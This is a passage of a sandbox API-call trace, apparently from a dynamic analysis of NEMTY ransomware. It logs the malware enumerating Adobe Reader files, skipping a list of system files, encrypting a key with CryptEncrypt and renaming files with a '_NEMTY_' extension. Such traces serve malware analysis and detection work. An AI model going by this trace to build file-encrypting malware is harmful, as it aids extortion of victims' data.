SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.439] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.439] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0197.445] CloseHandle (hObject=0xffffffff) returned 0 [0197.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0197.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0197.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0197.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0197.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0197.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0197.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0197.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0197.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.446] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-5"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-5._nemty_kgobjgd_")) returned 0 [0197.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0197.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0197.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0197.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0197.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0197.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0197.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0197.446] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-B5pc", cAlternateFileName="ADOBE-~1")) returned 1 [0197.446] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2=".") returned 1 [0197.446] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="..") returned 1 [0197.446] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="...") returned 1 [0197.446] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="windows") returned -1 [0197.446] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="$RECYCLE.BIN") returned 1 [0197.446] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="rsa") returned -1 [0197.446] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="NTDETECT.COM") returned -1 [0197.446] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="ntldr") returned -1 [0197.446] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="MSDOS.SYS") returned -1 [0197.446] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="IO.SYS") returned -1 [0197.446] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="boot.ini") returned -1 [0197.446] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="boot.ini") returned -1 [0197.446] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="AUTOEXEC.BAT") returned -1 [0197.447] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="ntuser.dat") returned -1 [0197.447] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="desktop.ini") returned -1 [0197.447] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="CONFIG.SYS") returned -1 [0197.447] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="RECYCLER") returned -1 [0197.447] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="BOOTSECT.BAK") returned -1 [0197.447] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="bootmgr") returned -1 [0197.447] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="programdata") returned -1 [0197.447] lstrcmpiW (lpString1="Adobe-CNS1-B5pc", lpString2="appdata") returned -1 [0197.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-B5pc", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0197.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-B5pc", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-B5pc", lpUsedDefaultChar=0x0) returned 15 [0197.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-B5pc", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0197.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-B5pc", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-B5pc", lpUsedDefaultChar=0x0) returned 15 [0197.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-B5pc", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0197.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-B5pc", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-B5pc", lpUsedDefaultChar=0x0) returned 15 [0197.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-B5pc", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0197.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-B5pc", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-B5pc", lpUsedDefaultChar=0x0) returned 15 [0197.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0197.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0197.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0197.447] Sleep (dwMilliseconds=0x5) [0197.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x29580170, dwHighDateTime=0x1d561e8)) [0197.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x29580170, dwHighDateTime=0x1d561e8)) [0197.463] GetLastError () returned 0x5 [0197.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0197.463] GetLastError () returned 0x5 [0197.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0197.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.463] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0197.463] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0197.463] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0197.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0197.463] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="WmmSRMmv4DhaahGmYt2mpOMjIF9oE3qQKdCwWMMSeIyAyUfjni8WArPok9VOfik9\r\naPXap4S2gcr8lOmVkZt3GdNrAt2zQLy9wWP5uITW3xICz47kN2OsyM7G3XfWbHxC\r\nq5PT6FN97yZ37wTWKkZmHnntOY7WnNF7DBCXmE8GZ5GpDh8dFuvj1dPwmM+6JYS2\r\npwxUWgMTSEeG8BYESOZGrhwwISsJEYKMKFyyoOXZsTC64SeZVfN3mswGIsxkTm2w\r\nvXONbgJh7vTEqdALIa3WHq2Zj+02A4ZezNm5b/Pv+L6YRTpjvnu3mXQhgJG6aJbh\r\n4u+n/PPYkiUS0ghQNOCitw==\r\n", pcchString=0x653e91c) returned 1 [0197.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0197.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0197.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0197.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0197.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0197.463] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-b5pc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0197.464] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0197.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0197.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.464] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.474] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.474] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.493] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.493] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.512] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.521] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.540] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 